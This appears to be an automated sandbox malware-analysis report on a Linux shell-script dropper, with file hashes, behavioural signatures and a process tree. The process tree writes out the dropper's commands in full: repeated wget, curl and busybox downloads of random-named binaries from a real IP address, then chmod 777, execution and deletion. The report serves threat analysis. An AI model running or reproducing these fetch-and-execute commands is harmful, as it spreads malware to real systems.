Analysis
-
max time kernel
17s -
max time network
132s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240508-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
01-11-2024 03:04
Static task
static1
Behavioral task
behavioral1
Sample
3898a73a999a6aa59e7881e4d0621a517f8e708e4d6590d43ab136ded2ee595a.sh
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral2
Sample
3898a73a999a6aa59e7881e4d0621a517f8e708e4d6590d43ab136ded2ee595a.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
3898a73a999a6aa59e7881e4d0621a517f8e708e4d6590d43ab136ded2ee595a.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
3898a73a999a6aa59e7881e4d0621a517f8e708e4d6590d43ab136ded2ee595a.sh
Resource
debian9-mipsel-20240226-en
General
-
Target
3898a73a999a6aa59e7881e4d0621a517f8e708e4d6590d43ab136ded2ee595a.sh
-
Size
10KB
-
MD5
e54d8700e6358f16715e8ef228b233b5
-
SHA1
2ca2659f90f6049ca61904ab718ac6977d98c158
-
SHA256
3898a73a999a6aa59e7881e4d0621a517f8e708e4d6590d43ab136ded2ee595a
-
SHA512
bba349a7c47bf864182506b7566ffc31187f0172c915e774a999667b78c355711f5ef30944d0f3dd57b98f2c8aa937245bcf994b33703011343d9f85a71dfbb7
-
SSDEEP
192:W8dUisZBCCvOjsl9/7IJxxMCCvOyi/7IJxxUx:W8dJeBCCvOjslJCCvOy7O
Malware Config
Signatures
-
File and Directory Permissions Modification 1 TTPs 28 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1674 chmod 1518 chmod 1590 chmod 1620 chmod 1668 chmod 1650 chmod 1536 chmod 1656 chmod 1662 chmod 1584 chmod 1602 chmod 1608 chmod 1614 chmod 1548 chmod 1644 chmod 1542 chmod 1596 chmod 1632 chmod 1512 chmod 1524 chmod 1560 chmod 1626 chmod 1578 chmod 1530 chmod 1554 chmod 1566 chmod 1572 chmod 1638 chmod -
Executes dropped EXE 28 IoCs
ioc pid Process /tmp/IY3PdRqAOppVwtyy3BWfmEFBw6kZvcZmb7 1513 IY3PdRqAOppVwtyy3BWfmEFBw6kZvcZmb7 /tmp/WoFV0gAChqq3Oog1MBm5bddrN7HgDvxhEs 1519 WoFV0gAChqq3Oog1MBm5bddrN7HgDvxhEs /tmp/X7gHCn7tdqT21Vh65w2Y0Vt6XcLdItGame 1525 X7gHCn7tdqT21Vh65w2Y0Vt6XcLdItGame /tmp/UaCVONIwD2kPO0UftouJpzEC9IaOhtKJzo 1531 UaCVONIwD2kPO0UftouJpzEC9IaOhtKJzo /tmp/Hjiy0KcC8Q7pj5FhUhyrTGl0lOjD5oPW8l 1537 Hjiy0KcC8Q7pj5FhUhyrTGl0lOjD5oPW8l /tmp/Xv97HtQNohUBDy2tLDZ50dX4llWiiOkuUX 1543 Xv97HtQNohUBDy2tLDZ50dX4llWiiOkuUX /tmp/0AUIrkabDiBXKRxx6A855rzwcpfvqephPU 1549 0AUIrkabDiBXKRxx6A855rzwcpfvqephPU /tmp/h2ekxkemHtCtZcC4gYVjwZSiBE3g2294hb 1555 h2ekxkemHtCtZcC4gYVjwZSiBE3g2294hb /tmp/NlXFnwJvl5zcF32ASDEihVcqtkqcEAQzvu 1561 NlXFnwJvl5zcF32ASDEihVcqtkqcEAQzvu /tmp/WzJMIv7n4VRPKxTCtqoEvVNT2PpjCfXtPt 1567 WzJMIv7n4VRPKxTCtqoEvVNT2PpjCfXtPt /tmp/gO8Guv4V77MWdBeCUSB4XTGGohohYLgEsu 1573 gO8Guv4V77MWdBeCUSB4XTGGohohYLgEsu /tmp/32WaeS7m7kFm1sxDXdKrW3UlPDmC2Kk2eS 1579 32WaeS7m7kFm1sxDXdKrW3UlPDmC2Kk2eS /tmp/wxBHZtvGBWHnJ8M1W941EsKM8ErEGeZ9MM 1585 wxBHZtvGBWHnJ8M1W941EsKM8ErEGeZ9MM /tmp/IXIKzc1Pvao8ODwSK7xhD8lcjTaVcvgb4u 1591 IXIKzc1Pvao8ODwSK7xhD8lcjTaVcvgb4u /tmp/Xv97HtQNohUBDy2tLDZ50dX4llWiiOkuUX 1597 Xv97HtQNohUBDy2tLDZ50dX4llWiiOkuUX /tmp/Hjiy0KcC8Q7pj5FhUhyrTGl0lOjD5oPW8l 1603 Hjiy0KcC8Q7pj5FhUhyrTGl0lOjD5oPW8l /tmp/WzJMIv7n4VRPKxTCtqoEvVNT2PpjCfXtPt 1609 WzJMIv7n4VRPKxTCtqoEvVNT2PpjCfXtPt /tmp/gO8Guv4V77MWdBeCUSB4XTGGohohYLgEsu 1615 gO8Guv4V77MWdBeCUSB4XTGGohohYLgEsu /tmp/0AUIrkabDiBXKRxx6A855rzwcpfvqephPU 1621 0AUIrkabDiBXKRxx6A855rzwcpfvqephPU /tmp/h2ekxkemHtCtZcC4gYVjwZSiBE3g2294hb 1627 h2ekxkemHtCtZcC4gYVjwZSiBE3g2294hb /tmp/NlXFnwJvl5zcF32ASDEihVcqtkqcEAQzvu 1633 NlXFnwJvl5zcF32ASDEihVcqtkqcEAQzvu /tmp/IXIKzc1Pvao8ODwSK7xhD8lcjTaVcvgb4u 1639 IXIKzc1Pvao8ODwSK7xhD8lcjTaVcvgb4u /tmp/32WaeS7m7kFm1sxDXdKrW3UlPDmC2Kk2eS 1645 32WaeS7m7kFm1sxDXdKrW3UlPDmC2Kk2eS /tmp/wxBHZtvGBWHnJ8M1W941EsKM8ErEGeZ9MM 1651 wxBHZtvGBWHnJ8M1W941EsKM8ErEGeZ9MM /tmp/UaCVONIwD2kPO0UftouJpzEC9IaOhtKJzo 1657 UaCVONIwD2kPO0UftouJpzEC9IaOhtKJzo /tmp/IY3PdRqAOppVwtyy3BWfmEFBw6kZvcZmb7 1663 IY3PdRqAOppVwtyy3BWfmEFBw6kZvcZmb7 /tmp/WoFV0gAChqq3Oog1MBm5bddrN7HgDvxhEs 1669 WoFV0gAChqq3Oog1MBm5bddrN7HgDvxhEs /tmp/X7gHCn7tdqT21Vh65w2Y0Vt6XcLdItGame 1675 X7gHCn7tdqT21Vh65w2Y0Vt6XcLdItGame -
Writes file to tmp directory 28 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/IXIKzc1Pvao8ODwSK7xhD8lcjTaVcvgb4u curl File opened for modification /tmp/wxBHZtvGBWHnJ8M1W941EsKM8ErEGeZ9MM curl File opened for modification /tmp/X7gHCn7tdqT21Vh65w2Y0Vt6XcLdItGame curl File opened for modification /tmp/Hjiy0KcC8Q7pj5FhUhyrTGl0lOjD5oPW8l curl File opened for modification /tmp/h2ekxkemHtCtZcC4gYVjwZSiBE3g2294hb curl File opened for modification /tmp/h2ekxkemHtCtZcC4gYVjwZSiBE3g2294hb curl File opened for modification /tmp/UaCVONIwD2kPO0UftouJpzEC9IaOhtKJzo curl File opened for modification /tmp/WzJMIv7n4VRPKxTCtqoEvVNT2PpjCfXtPt curl File opened for modification /tmp/Hjiy0KcC8Q7pj5FhUhyrTGl0lOjD5oPW8l curl File opened for modification /tmp/gO8Guv4V77MWdBeCUSB4XTGGohohYLgEsu curl File opened for modification /tmp/Xv97HtQNohUBDy2tLDZ50dX4llWiiOkuUX curl File opened for modification /tmp/0AUIrkabDiBXKRxx6A855rzwcpfvqephPU curl File opened for modification /tmp/32WaeS7m7kFm1sxDXdKrW3UlPDmC2Kk2eS curl File opened for modification /tmp/WzJMIv7n4VRPKxTCtqoEvVNT2PpjCfXtPt curl File opened for modification /tmp/UaCVONIwD2kPO0UftouJpzEC9IaOhtKJzo curl File opened for modification /tmp/wxBHZtvGBWHnJ8M1W941EsKM8ErEGeZ9MM curl File opened for modification /tmp/WoFV0gAChqq3Oog1MBm5bddrN7HgDvxhEs curl File opened for modification /tmp/X7gHCn7tdqT21Vh65w2Y0Vt6XcLdItGame curl File opened for modification /tmp/0AUIrkabDiBXKRxx6A855rzwcpfvqephPU curl File opened for modification /tmp/NlXFnwJvl5zcF32ASDEihVcqtkqcEAQzvu curl File opened for modification /tmp/IY3PdRqAOppVwtyy3BWfmEFBw6kZvcZmb7 curl File opened for modification /tmp/Xv97HtQNohUBDy2tLDZ50dX4llWiiOkuUX curl File opened for modification /tmp/WoFV0gAChqq3Oog1MBm5bddrN7HgDvxhEs curl File opened for modification /tmp/IY3PdRqAOppVwtyy3BWfmEFBw6kZvcZmb7 curl File opened for modification /tmp/32WaeS7m7kFm1sxDXdKrW3UlPDmC2Kk2eS curl File opened for modification /tmp/IXIKzc1Pvao8ODwSK7xhD8lcjTaVcvgb4u curl File opened for modification /tmp/NlXFnwJvl5zcF32ASDEihVcqtkqcEAQzvu curl File opened for modification /tmp/gO8Guv4V77MWdBeCUSB4XTGGohohYLgEsu curl
Processes
-
/tmp/3898a73a999a6aa59e7881e4d0621a517f8e708e4d6590d43ab136ded2ee595a.sh/tmp/3898a73a999a6aa59e7881e4d0621a517f8e708e4d6590d43ab136ded2ee595a.sh1⤵PID:1504
-
/bin/rm/bin/rm bins.sh2⤵PID:1505
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/IY3PdRqAOppVwtyy3BWfmEFBw6kZvcZmb72⤵PID:1506
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/IY3PdRqAOppVwtyy3BWfmEFBw6kZvcZmb72⤵
- Writes file to tmp directory
PID:1507
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/IY3PdRqAOppVwtyy3BWfmEFBw6kZvcZmb72⤵PID:1511
-
-
/bin/chmodchmod 777 IY3PdRqAOppVwtyy3BWfmEFBw6kZvcZmb72⤵
- File and Directory Permissions Modification
PID:1512
-
-
/tmp/IY3PdRqAOppVwtyy3BWfmEFBw6kZvcZmb7./IY3PdRqAOppVwtyy3BWfmEFBw6kZvcZmb72⤵
- Executes dropped EXE
PID:1513
-
-
/bin/rmrm IY3PdRqAOppVwtyy3BWfmEFBw6kZvcZmb72⤵PID:1514
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/WoFV0gAChqq3Oog1MBm5bddrN7HgDvxhEs2⤵PID:1515
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/WoFV0gAChqq3Oog1MBm5bddrN7HgDvxhEs2⤵
- Writes file to tmp directory
PID:1516
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/WoFV0gAChqq3Oog1MBm5bddrN7HgDvxhEs2⤵PID:1517
-
-
/bin/chmodchmod 777 WoFV0gAChqq3Oog1MBm5bddrN7HgDvxhEs2⤵
- File and Directory Permissions Modification
PID:1518
-
-
/tmp/WoFV0gAChqq3Oog1MBm5bddrN7HgDvxhEs./WoFV0gAChqq3Oog1MBm5bddrN7HgDvxhEs2⤵
- Executes dropped EXE
PID:1519
-
-
/bin/rmrm WoFV0gAChqq3Oog1MBm5bddrN7HgDvxhEs2⤵PID:1520
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/X7gHCn7tdqT21Vh65w2Y0Vt6XcLdItGame2⤵PID:1521
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/X7gHCn7tdqT21Vh65w2Y0Vt6XcLdItGame2⤵
- Writes file to tmp directory
PID:1522
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/X7gHCn7tdqT21Vh65w2Y0Vt6XcLdItGame2⤵PID:1523
-
-
/bin/chmodchmod 777 X7gHCn7tdqT21Vh65w2Y0Vt6XcLdItGame2⤵
- File and Directory Permissions Modification
PID:1524
-
-
/tmp/X7gHCn7tdqT21Vh65w2Y0Vt6XcLdItGame./X7gHCn7tdqT21Vh65w2Y0Vt6XcLdItGame2⤵
- Executes dropped EXE
PID:1525
-
-
/bin/rmrm X7gHCn7tdqT21Vh65w2Y0Vt6XcLdItGame2⤵PID:1526
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/UaCVONIwD2kPO0UftouJpzEC9IaOhtKJzo2⤵PID:1527
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/UaCVONIwD2kPO0UftouJpzEC9IaOhtKJzo2⤵
- Writes file to tmp directory
PID:1528
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/UaCVONIwD2kPO0UftouJpzEC9IaOhtKJzo2⤵PID:1529
-
-
/bin/chmodchmod 777 UaCVONIwD2kPO0UftouJpzEC9IaOhtKJzo2⤵
- File and Directory Permissions Modification
PID:1530
-
-
/tmp/UaCVONIwD2kPO0UftouJpzEC9IaOhtKJzo./UaCVONIwD2kPO0UftouJpzEC9IaOhtKJzo2⤵
- Executes dropped EXE
PID:1531
-
-
/bin/rmrm UaCVONIwD2kPO0UftouJpzEC9IaOhtKJzo2⤵PID:1532
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/Hjiy0KcC8Q7pj5FhUhyrTGl0lOjD5oPW8l2⤵PID:1533
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/Hjiy0KcC8Q7pj5FhUhyrTGl0lOjD5oPW8l2⤵
- Writes file to tmp directory
PID:1534
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/Hjiy0KcC8Q7pj5FhUhyrTGl0lOjD5oPW8l2⤵PID:1535
-
-
/bin/chmodchmod 777 Hjiy0KcC8Q7pj5FhUhyrTGl0lOjD5oPW8l2⤵
- File and Directory Permissions Modification
PID:1536
-
-
/tmp/Hjiy0KcC8Q7pj5FhUhyrTGl0lOjD5oPW8l./Hjiy0KcC8Q7pj5FhUhyrTGl0lOjD5oPW8l2⤵
- Executes dropped EXE
PID:1537
-
-
/bin/rmrm Hjiy0KcC8Q7pj5FhUhyrTGl0lOjD5oPW8l2⤵PID:1538
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/Xv97HtQNohUBDy2tLDZ50dX4llWiiOkuUX2⤵PID:1539
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/Xv97HtQNohUBDy2tLDZ50dX4llWiiOkuUX2⤵
- Writes file to tmp directory
PID:1540
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/Xv97HtQNohUBDy2tLDZ50dX4llWiiOkuUX2⤵PID:1541
-
-
/bin/chmodchmod 777 Xv97HtQNohUBDy2tLDZ50dX4llWiiOkuUX2⤵
- File and Directory Permissions Modification
PID:1542
-
-
/tmp/Xv97HtQNohUBDy2tLDZ50dX4llWiiOkuUX./Xv97HtQNohUBDy2tLDZ50dX4llWiiOkuUX2⤵
- Executes dropped EXE
PID:1543
-
-
/bin/rmrm Xv97HtQNohUBDy2tLDZ50dX4llWiiOkuUX2⤵PID:1544
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/0AUIrkabDiBXKRxx6A855rzwcpfvqephPU2⤵PID:1545
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/0AUIrkabDiBXKRxx6A855rzwcpfvqephPU2⤵
- Writes file to tmp directory
PID:1546
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/0AUIrkabDiBXKRxx6A855rzwcpfvqephPU2⤵PID:1547
-
-
/bin/chmodchmod 777 0AUIrkabDiBXKRxx6A855rzwcpfvqephPU2⤵
- File and Directory Permissions Modification
PID:1548
-
-
/tmp/0AUIrkabDiBXKRxx6A855rzwcpfvqephPU./0AUIrkabDiBXKRxx6A855rzwcpfvqephPU2⤵
- Executes dropped EXE
PID:1549
-
-
/bin/rmrm 0AUIrkabDiBXKRxx6A855rzwcpfvqephPU2⤵PID:1550
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/h2ekxkemHtCtZcC4gYVjwZSiBE3g2294hb2⤵PID:1551
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/h2ekxkemHtCtZcC4gYVjwZSiBE3g2294hb2⤵
- Writes file to tmp directory
PID:1552
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/h2ekxkemHtCtZcC4gYVjwZSiBE3g2294hb2⤵PID:1553
-
-
/bin/chmodchmod 777 h2ekxkemHtCtZcC4gYVjwZSiBE3g2294hb2⤵
- File and Directory Permissions Modification
PID:1554
-
-
/tmp/h2ekxkemHtCtZcC4gYVjwZSiBE3g2294hb./h2ekxkemHtCtZcC4gYVjwZSiBE3g2294hb2⤵
- Executes dropped EXE
PID:1555
-
-
/bin/rmrm h2ekxkemHtCtZcC4gYVjwZSiBE3g2294hb2⤵PID:1556
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/NlXFnwJvl5zcF32ASDEihVcqtkqcEAQzvu2⤵PID:1557
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/NlXFnwJvl5zcF32ASDEihVcqtkqcEAQzvu2⤵
- Writes file to tmp directory
PID:1558
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/NlXFnwJvl5zcF32ASDEihVcqtkqcEAQzvu2⤵PID:1559
-
-
/bin/chmodchmod 777 NlXFnwJvl5zcF32ASDEihVcqtkqcEAQzvu2⤵
- File and Directory Permissions Modification
PID:1560
-
-
/tmp/NlXFnwJvl5zcF32ASDEihVcqtkqcEAQzvu./NlXFnwJvl5zcF32ASDEihVcqtkqcEAQzvu2⤵
- Executes dropped EXE
PID:1561
-
-
/bin/rmrm NlXFnwJvl5zcF32ASDEihVcqtkqcEAQzvu2⤵PID:1562
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/WzJMIv7n4VRPKxTCtqoEvVNT2PpjCfXtPt2⤵PID:1563
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/WzJMIv7n4VRPKxTCtqoEvVNT2PpjCfXtPt2⤵
- Writes file to tmp directory
PID:1564
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/WzJMIv7n4VRPKxTCtqoEvVNT2PpjCfXtPt2⤵PID:1565
-
-
/bin/chmodchmod 777 WzJMIv7n4VRPKxTCtqoEvVNT2PpjCfXtPt2⤵
- File and Directory Permissions Modification
PID:1566
-
-
/tmp/WzJMIv7n4VRPKxTCtqoEvVNT2PpjCfXtPt./WzJMIv7n4VRPKxTCtqoEvVNT2PpjCfXtPt2⤵
- Executes dropped EXE
PID:1567
-
-
/bin/rmrm WzJMIv7n4VRPKxTCtqoEvVNT2PpjCfXtPt2⤵PID:1568
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/gO8Guv4V77MWdBeCUSB4XTGGohohYLgEsu2⤵PID:1569
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/gO8Guv4V77MWdBeCUSB4XTGGohohYLgEsu2⤵
- Writes file to tmp directory
PID:1570
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/gO8Guv4V77MWdBeCUSB4XTGGohohYLgEsu2⤵PID:1571
-
-
/bin/chmodchmod 777 gO8Guv4V77MWdBeCUSB4XTGGohohYLgEsu2⤵
- File and Directory Permissions Modification
PID:1572
-
-
/tmp/gO8Guv4V77MWdBeCUSB4XTGGohohYLgEsu./gO8Guv4V77MWdBeCUSB4XTGGohohYLgEsu2⤵
- Executes dropped EXE
PID:1573
-
-
/bin/rmrm gO8Guv4V77MWdBeCUSB4XTGGohohYLgEsu2⤵PID:1574
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/32WaeS7m7kFm1sxDXdKrW3UlPDmC2Kk2eS2⤵PID:1575
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/32WaeS7m7kFm1sxDXdKrW3UlPDmC2Kk2eS2⤵
- Writes file to tmp directory
PID:1576
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/32WaeS7m7kFm1sxDXdKrW3UlPDmC2Kk2eS2⤵PID:1577
-
-
/bin/chmodchmod 777 32WaeS7m7kFm1sxDXdKrW3UlPDmC2Kk2eS2⤵
- File and Directory Permissions Modification
PID:1578
-
-
/tmp/32WaeS7m7kFm1sxDXdKrW3UlPDmC2Kk2eS./32WaeS7m7kFm1sxDXdKrW3UlPDmC2Kk2eS2⤵
- Executes dropped EXE
PID:1579
-
-
/bin/rmrm 32WaeS7m7kFm1sxDXdKrW3UlPDmC2Kk2eS2⤵PID:1580
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/wxBHZtvGBWHnJ8M1W941EsKM8ErEGeZ9MM2⤵PID:1581
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/wxBHZtvGBWHnJ8M1W941EsKM8ErEGeZ9MM2⤵
- Writes file to tmp directory
PID:1582
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/wxBHZtvGBWHnJ8M1W941EsKM8ErEGeZ9MM2⤵PID:1583
-
-
/bin/chmodchmod 777 wxBHZtvGBWHnJ8M1W941EsKM8ErEGeZ9MM2⤵
- File and Directory Permissions Modification
PID:1584
-
-
/tmp/wxBHZtvGBWHnJ8M1W941EsKM8ErEGeZ9MM./wxBHZtvGBWHnJ8M1W941EsKM8ErEGeZ9MM2⤵
- Executes dropped EXE
PID:1585
-
-
/bin/rmrm wxBHZtvGBWHnJ8M1W941EsKM8ErEGeZ9MM2⤵PID:1586
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/IXIKzc1Pvao8ODwSK7xhD8lcjTaVcvgb4u2⤵PID:1587
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/IXIKzc1Pvao8ODwSK7xhD8lcjTaVcvgb4u2⤵
- Writes file to tmp directory
PID:1588
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/IXIKzc1Pvao8ODwSK7xhD8lcjTaVcvgb4u2⤵PID:1589
-
-
/bin/chmodchmod 777 IXIKzc1Pvao8ODwSK7xhD8lcjTaVcvgb4u2⤵
- File and Directory Permissions Modification
PID:1590
-
-
/tmp/IXIKzc1Pvao8ODwSK7xhD8lcjTaVcvgb4u./IXIKzc1Pvao8ODwSK7xhD8lcjTaVcvgb4u2⤵
- Executes dropped EXE
PID:1591
-
-
/bin/rmrm IXIKzc1Pvao8ODwSK7xhD8lcjTaVcvgb4u2⤵PID:1592
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/Xv97HtQNohUBDy2tLDZ50dX4llWiiOkuUX2⤵PID:1593
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/Xv97HtQNohUBDy2tLDZ50dX4llWiiOkuUX2⤵
- Writes file to tmp directory
PID:1594
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/Xv97HtQNohUBDy2tLDZ50dX4llWiiOkuUX2⤵PID:1595
-
-
/bin/chmodchmod 777 Xv97HtQNohUBDy2tLDZ50dX4llWiiOkuUX2⤵
- File and Directory Permissions Modification
PID:1596
-
-
/tmp/Xv97HtQNohUBDy2tLDZ50dX4llWiiOkuUX./Xv97HtQNohUBDy2tLDZ50dX4llWiiOkuUX2⤵
- Executes dropped EXE
PID:1597
-
-
/bin/rmrm Xv97HtQNohUBDy2tLDZ50dX4llWiiOkuUX2⤵PID:1598
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/Hjiy0KcC8Q7pj5FhUhyrTGl0lOjD5oPW8l2⤵PID:1599
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/Hjiy0KcC8Q7pj5FhUhyrTGl0lOjD5oPW8l2⤵
- Writes file to tmp directory
PID:1600
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/Hjiy0KcC8Q7pj5FhUhyrTGl0lOjD5oPW8l2⤵PID:1601
-
-
/bin/chmodchmod 777 Hjiy0KcC8Q7pj5FhUhyrTGl0lOjD5oPW8l2⤵
- File and Directory Permissions Modification
PID:1602
-
-
/tmp/Hjiy0KcC8Q7pj5FhUhyrTGl0lOjD5oPW8l./Hjiy0KcC8Q7pj5FhUhyrTGl0lOjD5oPW8l2⤵
- Executes dropped EXE
PID:1603
-
-
/bin/rmrm Hjiy0KcC8Q7pj5FhUhyrTGl0lOjD5oPW8l2⤵PID:1604
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/WzJMIv7n4VRPKxTCtqoEvVNT2PpjCfXtPt2⤵PID:1605
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/WzJMIv7n4VRPKxTCtqoEvVNT2PpjCfXtPt2⤵
- Writes file to tmp directory
PID:1606
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/WzJMIv7n4VRPKxTCtqoEvVNT2PpjCfXtPt2⤵PID:1607
-
-
/bin/chmodchmod 777 WzJMIv7n4VRPKxTCtqoEvVNT2PpjCfXtPt2⤵
- File and Directory Permissions Modification
PID:1608
-
-
/tmp/WzJMIv7n4VRPKxTCtqoEvVNT2PpjCfXtPt./WzJMIv7n4VRPKxTCtqoEvVNT2PpjCfXtPt2⤵
- Executes dropped EXE
PID:1609
-
-
/bin/rmrm WzJMIv7n4VRPKxTCtqoEvVNT2PpjCfXtPt2⤵PID:1610
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/gO8Guv4V77MWdBeCUSB4XTGGohohYLgEsu2⤵PID:1611
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/gO8Guv4V77MWdBeCUSB4XTGGohohYLgEsu2⤵
- Writes file to tmp directory
PID:1612
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/gO8Guv4V77MWdBeCUSB4XTGGohohYLgEsu2⤵PID:1613
-
-
/bin/chmodchmod 777 gO8Guv4V77MWdBeCUSB4XTGGohohYLgEsu2⤵
- File and Directory Permissions Modification
PID:1614
-
-
/tmp/gO8Guv4V77MWdBeCUSB4XTGGohohYLgEsu./gO8Guv4V77MWdBeCUSB4XTGGohohYLgEsu2⤵
- Executes dropped EXE
PID:1615
-
-
/bin/rmrm gO8Guv4V77MWdBeCUSB4XTGGohohYLgEsu2⤵PID:1616
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/0AUIrkabDiBXKRxx6A855rzwcpfvqephPU2⤵PID:1617
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/0AUIrkabDiBXKRxx6A855rzwcpfvqephPU2⤵
- Writes file to tmp directory
PID:1618
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/0AUIrkabDiBXKRxx6A855rzwcpfvqephPU2⤵PID:1619
-
-
/bin/chmodchmod 777 0AUIrkabDiBXKRxx6A855rzwcpfvqephPU2⤵
- File and Directory Permissions Modification
PID:1620
-
-
/tmp/0AUIrkabDiBXKRxx6A855rzwcpfvqephPU./0AUIrkabDiBXKRxx6A855rzwcpfvqephPU2⤵
- Executes dropped EXE
PID:1621
-
-
/bin/rmrm 0AUIrkabDiBXKRxx6A855rzwcpfvqephPU2⤵PID:1622
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/h2ekxkemHtCtZcC4gYVjwZSiBE3g2294hb2⤵PID:1623
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/h2ekxkemHtCtZcC4gYVjwZSiBE3g2294hb2⤵
- Writes file to tmp directory
PID:1624
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/h2ekxkemHtCtZcC4gYVjwZSiBE3g2294hb2⤵PID:1625
-
-
/bin/chmodchmod 777 h2ekxkemHtCtZcC4gYVjwZSiBE3g2294hb2⤵
- File and Directory Permissions Modification
PID:1626
-
-
/tmp/h2ekxkemHtCtZcC4gYVjwZSiBE3g2294hb./h2ekxkemHtCtZcC4gYVjwZSiBE3g2294hb2⤵
- Executes dropped EXE
PID:1627
-
-
/bin/rmrm h2ekxkemHtCtZcC4gYVjwZSiBE3g2294hb2⤵PID:1628
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/NlXFnwJvl5zcF32ASDEihVcqtkqcEAQzvu2⤵PID:1629
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/NlXFnwJvl5zcF32ASDEihVcqtkqcEAQzvu2⤵
- Writes file to tmp directory
PID:1630
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/NlXFnwJvl5zcF32ASDEihVcqtkqcEAQzvu2⤵PID:1631
-
-
/bin/chmodchmod 777 NlXFnwJvl5zcF32ASDEihVcqtkqcEAQzvu2⤵
- File and Directory Permissions Modification
PID:1632
-
-
/tmp/NlXFnwJvl5zcF32ASDEihVcqtkqcEAQzvu./NlXFnwJvl5zcF32ASDEihVcqtkqcEAQzvu2⤵
- Executes dropped EXE
PID:1633
-
-
/bin/rmrm NlXFnwJvl5zcF32ASDEihVcqtkqcEAQzvu2⤵PID:1634
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/IXIKzc1Pvao8ODwSK7xhD8lcjTaVcvgb4u2⤵PID:1635
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/IXIKzc1Pvao8ODwSK7xhD8lcjTaVcvgb4u2⤵
- Writes file to tmp directory
PID:1636
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/IXIKzc1Pvao8ODwSK7xhD8lcjTaVcvgb4u2⤵PID:1637
-
-
/bin/chmodchmod 777 IXIKzc1Pvao8ODwSK7xhD8lcjTaVcvgb4u2⤵
- File and Directory Permissions Modification
PID:1638
-
-
/tmp/IXIKzc1Pvao8ODwSK7xhD8lcjTaVcvgb4u./IXIKzc1Pvao8ODwSK7xhD8lcjTaVcvgb4u2⤵
- Executes dropped EXE
PID:1639
-
-
/bin/rmrm IXIKzc1Pvao8ODwSK7xhD8lcjTaVcvgb4u2⤵PID:1640
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/32WaeS7m7kFm1sxDXdKrW3UlPDmC2Kk2eS2⤵PID:1641
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/32WaeS7m7kFm1sxDXdKrW3UlPDmC2Kk2eS2⤵
- Writes file to tmp directory
PID:1642
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/32WaeS7m7kFm1sxDXdKrW3UlPDmC2Kk2eS2⤵PID:1643
-
-
